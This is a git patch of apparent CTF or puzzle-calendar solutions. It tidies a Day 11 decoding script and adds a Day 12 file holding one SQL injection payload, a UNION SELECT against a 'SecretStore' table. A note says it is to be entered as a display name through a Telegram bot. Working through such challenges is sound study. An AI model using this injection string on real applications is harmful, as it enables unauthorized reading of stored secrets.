From 73b50a272770c2c4a6a37d5c4cc1a165dcf11109 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Wed, 12 Dec 2018 18:16:07 +0100 Subject: [PATCH] Day 11 & 12 --- Day 11/decode.py | 2 -- Day 12/decode.py | 2 ++ 2 files changed, 2 insertions(+), 2 deletions(-) create mode 100644 Day 12/decode.py diff --git a/Day 11/decode.py b/Day 11/decode.py index 8c4ab98..ee11889 100644 --- a/Day 11/decode.py +++ b/Day 11/decode.py @@ -26,8 +26,6 @@ a = y * c a += abs(a // p) * p solution = hex(a).replace("-", "")[2:] -# print(p/b) - while len(solution) != 2*29: a += p solution = hex(a).replace("-", "")[2:] diff --git a/Day 12/decode.py b/Day 12/decode.py new file mode 100644 index 0000000..ef9e9bd --- /dev/null +++ b/Day 12/decode.py @@ -0,0 +1,2 @@ +' UNION SELECT 1,flag FROM SecretStore WHERE '1'='1 +as displayed Name (split into first and last name), contact TelegramBot @smartwishlist_bot